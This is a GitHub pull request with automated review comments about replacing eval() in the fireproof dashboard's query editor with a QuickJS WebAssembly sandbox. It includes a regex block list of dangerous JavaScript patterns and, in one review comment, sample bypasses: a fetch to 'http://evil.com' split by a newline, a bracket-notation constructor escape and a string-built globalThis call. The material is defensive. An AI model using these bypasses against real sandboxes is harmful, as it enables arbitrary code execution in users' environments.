fix(dashboard): replace eval with WASM sandbox for query execution #1495
Conversation
- Add quickjs-emscripten for isolated code execution - Create sandbox-service with timeout support - Block dangerous patterns before execution - Disable feature gracefully when WASM unavailable - Add security test suite Closes ROBUST-01
Pre-merge checks and finishing touches✅ Passed checks (3 passed)
✨ Finishing touches
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 4
🧹 Nitpick comments (2)
dashboard/frontend/tests/sandbox.test.ts (1)
159-169: Consider usingit.skipIffor cleaner conditional test skipping.The early return pattern works but silently passes tests when the sandbox is unavailable. Using Vitest's
it.skipIforit.runIfwould make skipped tests visible in test output.🔎 Suggested pattern
// At the top of the describe block: const sandboxReady = await initSandbox(); // Then for each test: it.runIf(sandboxReady)("executes valid map functions", async () => { const results = await executeMapFn("(doc, emit) => { emit(doc._id, doc); }", testDocs); expect(results).toHaveLength(3); expect(results[0].key).toBe("doc1"); });dashboard/frontend/src/pages/databases/query.tsx (1)
187-200: Add cancellation for async effect to prevent state updates on unmounted component.If the component unmounts while
executeMapFnis pending, the.then()handlers will still attempt to callsetQueryResultsandsetIsLoading, potentially causing React warnings.🔎 Proposed fix with cleanup
useEffect(() => { + let cancelled = false; + if (allDocs.length === 0) { setQueryResults([]); setIsLoading(false); return; } setIsLoading(true); setQueryError(null); executeMapFn(mapFn, allDocs) .then((results: MapResult[]) => { + if (cancelled) return; // Extract documents from results const docs = results .map((r: MapResult) => r.value) .filter((v: unknown): v is SandboxDocument => v !== null && typeof v === "object"); setQueryResults(docs); setIsLoading(false); }) .catch((error: Error) => { + if (cancelled) return; setQueryError(error.message); setQueryResults([]); setIsLoading(false); }); + + return () => { cancelled = true; }; }, [mapFn, allDocs]);
📜 Review details
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
⛔ Files ignored due to path filters (1)
pnpm-lock.yamlis excluded by!**/pnpm-lock.yaml
📒 Files selected for processing (5)
dashboard/frontend/package.jsondashboard/frontend/src/helpers.tsdashboard/frontend/src/pages/databases/query.tsxdashboard/frontend/src/services/sandbox-service.tsdashboard/frontend/tests/sandbox.test.ts
🔇 Additional comments (8)
dashboard/frontend/tests/sandbox.test.ts (2)
208-222: Timeout test looks good but may be flaky on slow CI.The 100ms timeout with a 5s test timeout should work, but consider adding a comment explaining why these specific values were chosen. The
while(true)infinite loop is an effective test case.
23-106: Comprehensive blocked patterns coverage.The test suite thoroughly covers all dangerous patterns: network access (fetch, XMLHttpRequest), dynamic code execution (eval, Function, import, require), DOM access (window, document), and storage (localStorage, sessionStorage, globalThis). Good security test coverage.
dashboard/frontend/src/pages/databases/query.tsx (1)
79-101: Good graceful degradation for sandbox unavailability.The loading and error states provide clear user feedback when the WASM sandbox is initializing or fails to load. The error message appropriately suggests WebAssembly support requirements.
dashboard/frontend/src/services/sandbox-service.ts (4)
117-129: Syntax validation using Function constructor is acceptable here.Using
new Function()purely for syntax validation (without executing the result) is a safe pattern. The constructed function is never called, so no code execution occurs.
183-195: Code injection viadocsJsonis safe, but validate the interpolation.The
${docsJson}and${code}interpolations are:
docsJson: Safe becauseJSON.stringifyproduces valid JSON that cannot escape the string contextcode: Already validated byvalidateCode()before reaching this pointThe sandbox isolation provides defense-in-depth even if validation were bypassed.
164-211: Good handle disposal pattern prevents memory leaks.All QuickJS handles (
emitHandle,result.error,result.value) are properly disposed, andvm.dispose()is called in afinallyblock ensuring cleanup even on errors.
186-187: The execution code usesglobalThis.emitto access theemitfunction set onvm.globalat line 176.In QuickJS (and standard JavaScript),
globalThisis the standardized reference to the global object, so this works correctly. However, sinceemitis explicitly set onvm.global, using that directly in the execution code would be more explicit and clearer about the intent. Consider accessing the global object consistently—either always throughglobalThisor always throughvm.global—to improve code clarity.dashboard/frontend/package.json (1)
49-49: The specified version does not exist for this package.The dependency
"quickjs-emscripten": "^0.31.0"cannot be installed. Version 0.31.0 is not available for the unscopedquickjs-emscriptenpackage; the latest published versions are 0.23.0 → 0.25.x → 0.26.0. Version 0.31.0 exists only for thequickjs-emscripten-corepackage (different package).Update the version to an available release (e.g.,
"^0.26.0") or change the package name toquickjs-emscripten-coreif that's the intended dependency.⛔ Skipped due to learnings
Learnt from: mabels Repo: fireproof-storage/fireproof PR: 549 File: package-use-fireproof.json:34-34 Timestamp: 2025-02-25T05:31:43.165Z Learning: The "!" character in version requirements (like ">=18.0.0!") in package.json files is intentional because these files are post-processed, and it's not a typo.
| useEffect(() => { | ||
| if (allDocs.length === 0) { | ||
| setQueryResults([]); | ||
| setIsLoading(false); | ||
| return; | ||
| } | ||
|
|
||
| setIsLoading(true); | ||
| setQueryError(null); | ||
|
|
||
| executeMapFn(mapFn, allDocs) | ||
| .then((results: MapResult[]) => { | ||
| // Extract documents from results | ||
| const docs = results | ||
| .map((r: MapResult) => r.value) | ||
| .filter((v: unknown): v is SandboxDocument => v !== null && typeof v === "object"); | ||
| setQueryResults(docs); | ||
| setIsLoading(false); | ||
| }) | ||
| .catch((error: Error) => { | ||
| setQueryError(error.message); | ||
| setQueryResults([]); | ||
| setIsLoading(false); | ||
| }); | ||
| }, [mapFn, allDocs]); |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
fd "query.tsx" --type fRepository: fireproof-storage/fireproof
Length of output: 119
🏁 Script executed:
# Find the query.tsx file and read its content to understand allDocs definition
head -250 dashboard/frontend/src/pages/databases/query.tsx | tail -100Repository: fireproof-storage/fireproof
Length of output: 3151
🏁 Script executed:
# Search for allDocs definition in query.tsx
rg -n "allDocs" dashboard/frontend/src/pages/databases/query.tsxRepository: fireproof-storage/fireproof
Length of output: 341
🏁 Script executed:
# Search for useLiveQuery usage in the file
rg -n -B2 -A5 "useLiveQuery" dashboard/frontend/src/pages/databases/query.tsxRepository: fireproof-storage/fireproof
Length of output: 765
🏁 Script executed:
# Search for useLiveQuery implementation
rg -n -A20 "export.*useLiveQuery|function useLiveQuery" --type=ts --type=tsxRepository: fireproof-storage/fireproof
Length of output: 98
🏁 Script executed:
# Look in useFireproof hook or similar
rg -n "useFireproof" dashboard/frontend/src/pages/databases/query.tsx | head -5Repository: fireproof-storage/fireproof
Length of output: 170
🏁 Script executed:
# Search more broadly for useLiveQuery definition
fd --type f "\.ts$|\.tsx$" | xargs rg -l "useLiveQuery" | head -10Repository: fireproof-storage/fireproof
Length of output: 512
🏁 Script executed:
# Check useLiveQuery implementation
cat use-fireproof/base/react/use-live-query.tsRepository: fireproof-storage/fireproof
Length of output: 1905
🏁 Script executed:
# Also check useFireproof to understand the hook structure
head -100 use-fireproof/base/react/use-fireproof.tsRepository: fireproof-storage/fireproof
Length of output: 2030
Consider stabilizing the dependency to avoid unnecessary re-executions.
The useEffect depends on allDocs, which is a new array reference on every database update (the useMemo dependency on allDocsResult.docs doesn't prevent this, since useLiveQuery returns a new array reference each time). This causes executeMapFn to re-run even when documents haven't actually changed. Since executeMapFn involves expensive sandbox code execution, consider using allDocsResult.docs.length in the dependency array, or refactor to detect actual document changes (e.g., by comparing IDs) rather than re-executing on every array reference change.
🤖 Prompt for AI Agents
In dashboard/frontend/src/pages/databases/query.tsx around lines 177 to 201, the
useEffect currently depends on allDocs (which gets a new array reference on
every update) causing executeMapFn to rerun unnecessarily; change the dependency
to a stable signal such as allDocs.length or a derived value of document IDs
(e.g., a memoized string/join of IDs) so the effect only reruns when the actual
set of documents changes, and ensure you compute that derived dependency with
useMemo/useRef outside the effect to avoid re-creating it each render.
| const BLOCKED_PATTERNS: { pattern: RegExp; description: string }[] = [ | ||
| { pattern: /\bfetch\s*\(/, description: "fetch() calls are not allowed" }, | ||
| { pattern: /\bXMLHttpRequest\b/, description: "XMLHttpRequest is not allowed" }, | ||
| { pattern: /\bimport\s*\(/, description: "Dynamic imports are not allowed" }, | ||
| { pattern: /\brequire\s*\(/, description: "require() calls are not allowed" }, | ||
| { pattern: /\beval\s*\(/, description: "eval() is not allowed" }, | ||
| { pattern: /\bFunction\s*\(/, description: "Function constructor is not allowed" }, | ||
| { pattern: /\.constructor\s*\(/, description: "Constructor access is not allowed" }, | ||
| { pattern: /\bwindow\b/, description: "window object access is not allowed" }, | ||
| { pattern: /\bdocument\b/, description: "document object access is not allowed" }, | ||
| { pattern: /\blocalStorage\b/, description: "localStorage access is not allowed" }, | ||
| { pattern: /\bsessionStorage\b/, description: "sessionStorage access is not allowed" }, | ||
| { pattern: /\bglobalThis\b/, description: "globalThis access is not allowed" }, | ||
| ]; |
There was a problem hiding this comment.
Regex patterns may be bypassable with whitespace or bracket notation.
Several patterns can be circumvented:
fetch\n(url)bypasses/\bfetch\s*\(/(newline not matched by\s*)obj["constructor"]()bypasses/\.constructor\s*\(/- Comments or string splitting could hide patterns
Consider AST-based validation for stronger guarantees, or at minimum, normalize whitespace before checking.
🔎 Examples of bypasses
// Bypass fetch pattern with newline:
(doc, emit) => { fetch
("http://evil.com"); }
// Bypass constructor pattern with bracket notation:
(doc, emit) => { doc["constructor"]("code")(); }
// Bypass with template literal:
(doc, emit) => { const f = "fe" + "tch"; globalThis[f]("url"); }Mitigations:
- Normalize code (remove comments, collapse whitespace) before pattern matching
- Use an AST parser for more robust detection
- Since code runs in QuickJS sandbox anyway, these patterns would fail at runtime - but pre-validation gives clearer errors
🤖 Prompt for AI Agents
In dashboard/frontend/src/services/sandbox-service.ts around lines 48 to 61, the
current RegExp checks are bypassable (e.g. newlines, bracket notation,
string/concat obfuscation and comments) so update validation to be more robust:
either parse the input into an AST (recommended) and detect prohibited
identifiers/call expressions (fetch, XMLHttpRequest, import(), require(), eval,
Function, constructor access,
window/document/globalThis/localStorage/sessionStorage) or, if you must keep
regex checks, first strip comments and string/template literals and
normalize/compact all whitespace (convert newlines to spaces) and add additional
patterns to catch bracket notation (e.g. \[\s*["']constructor["']\s*\]) and
dynamic whitespace/newlines before parentheses; perform checks against the
normalized source and return clear diagnostic messages for detected constructs.
- Use QuickJS interrupt handler for proper timeout enforcement - Fix Vite config to serve WASM files correctly - Add proper useEffect cleanup to prevent state updates after unmount - Improve test skipping pattern with top-level await - Better VITE_QUERY_TIMEOUT parsing with explicit validation
Dependency Analysis: quickjs-emscriptenBundle Impact
Alternatives Considered
RecommendationIf the query editor feature is valuable, quickjs-emscripten is the correct security solution because:
Alternative: Remove the feature?If the query editor isn't heavily used, removing it entirely would be simpler than maintaining sandbox code. Happy to adjust the approach based on your preference. |
There was a problem hiding this comment.
Actionable comments posted: 0
🧹 Nitpick comments (1)
dashboard/frontend/src/pages/databases/query.tsx (1)
177-211: Memory leak fixed; consider optimizing effect dependencies.The
cancelledflag correctly prevents state updates after unmount, addressing the memory leak concern from the learnings. However, the dependency onallDocsmay trigger unnecessary re-executions of the expensiveexecuteMapFnoperation. SinceuseLiveQueryreturns a new array reference on each call,allDocsis recreated even when the underlying documents haven't changed, causing the effect to re-run.Consider using a more stable dependency such as a memoized hash of document IDs or a revision counter to avoid redundant sandbox executions when documents haven't actually changed.
🔎 Potential optimization
const allDocsResult = useLiveQuery("_id"); const allDocs = useMemo(() => allDocsResult.docs.filter((doc) => doc) as SandboxDocument[], [allDocsResult.docs]); + // Create stable dependency based on document IDs + const docsSignature = useMemo(() => allDocs.map(d => d._id).join(','), [allDocs]); useEffect(() => { let cancelled = false; // ... rest of effect logic - }, [mapFn, allDocs]); + }, [mapFn, docsSignature, allDocs]);Note: Keep
allDocsin the dependency array for the actual data, butdocsSignatureprovides a stable comparison point to prevent re-execution when only the array reference changes.Based on learnings from past reviews about useEffect dependencies and stability.
📜 Review details
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (5)
dashboard/frontend/src/helpers.tsdashboard/frontend/src/pages/databases/query.tsxdashboard/frontend/src/services/sandbox-service.tsdashboard/frontend/tests/sandbox.test.tsdashboard/frontend/vite.config.ts
🚧 Files skipped from review as they are similar to previous changes (1)
- dashboard/frontend/src/services/sandbox-service.ts
🧰 Additional context used
🧠 Learnings (2)
📚 Learning: 2025-09-10T10:00:01.115Z
Learnt from: mabels
Repo: fireproof-storage/fireproof PR: 1130
File: use-fireproof/react/use-attach.ts:160-185
Timestamp: 2025-09-10T10:00:01.115Z
Learning: In use-fireproof/react/use-attach.ts, there's a potential memory leak where the onTokenChange callback can call setAttachState after component unmount. The fix requires adding cleanup to the useEffect with a disposed flag to guard state updates, and ideally refactoring WebToCloudCtx.onTokenChange to return an unsubscribe function.
Applied to files:
dashboard/frontend/src/pages/databases/query.tsx
📚 Learning: 2025-09-10T09:53:26.979Z
Learnt from: mabels
Repo: fireproof-storage/fireproof PR: 1130
File: use-fireproof/react/use-attach.ts:186-199
Timestamp: 2025-09-10T09:53:26.979Z
Learning: In use-fireproof/react/use-attach.ts, the current attach flow calls database.attach immediately via KeyedResolvOnce, which can run before a token is available and won't re-run after resetToken. The attach logic should be moved into the onTokenChange success path to ensure it only runs when a valid token exists and can re-attach after token reset.
Applied to files:
dashboard/frontend/src/pages/databases/query.tsx
🧬 Code graph analysis (1)
dashboard/frontend/tests/sandbox.test.ts (1)
dashboard/frontend/src/services/sandbox-service.ts (5)
initSandbox(77-91)validateCode(110-130)SandboxDocument(29-32)executeMapFn(142-213)isSandboxAvailable(99-101)
🔇 Additional comments (4)
dashboard/frontend/src/helpers.ts (1)
30-48: LGTM! NaN guard properly implemented.The timeout configuration logic correctly validates the parsed value using
Number.isFinite()and the>= 0check, which handles all edge cases including NaN from non-numeric strings, negative values, and the intentional zero-to-disable behavior. The past review concern has been fully addressed.dashboard/frontend/vite.config.ts (1)
49-51: LGTM! Correct optimization configuration for WASM package.Excluding
quickjs-emscriptenfrom dependency optimization is the proper approach for WASM-based packages, ensuring they load correctly at runtime rather than being pre-bundled.dashboard/frontend/tests/sandbox.test.ts (1)
1-204: LGTM! Comprehensive security test coverage.The test suite thoroughly validates the sandbox security model with proper conditional execution when WASM is unavailable. The blocked pattern tests cover all critical attack vectors (fetch, eval, constructor escapes, DOM access, storage APIs), and the valid pattern tests ensure legitimate queries still work. The cleanup and error handling paths are also well-tested.
dashboard/frontend/src/pages/databases/query.tsx (1)
1-101: LGTM! Robust sandbox initialization and error handling.The sandbox initialization flow properly handles loading states and failures with clear user-facing messages. The validation in
runTempQuerycorrectly uses the sandboxedvalidateCodeinstead of eval, providing security without sacrificing functionality. The progressive enhancement approach gracefully degrades when WASM is unavailable.
1 participant
Summary
eval()calls in the query editor that executed user-provided JavaScriptVITE_QUERY_TIMEOUTenvironment variableChanges
dashboard/frontend/package.jsondashboard/frontend/src/helpers.tsQUERY_TIMEOUT_MSdashboard/frontend/src/services/sandbox-service.tsdashboard/frontend/src/pages/databases/query.tsxdashboard/frontend/tests/sandbox.test.tsSecurity Model
Test plan
Blocked Patterns
The following patterns are detected and blocked:
fetch()/XMLHttpRequest- network accessimport()/require()- dynamic code loadingeval()/Function()- code generation.constructor()- prototype chain escapewindow/document/globalThis- DOM/global accesslocalStorage/sessionStorage- storage accessSummary by CodeRabbit
Chores
New Features
Tests
✏️ Tip: You can customize this high-level summary in your review settings.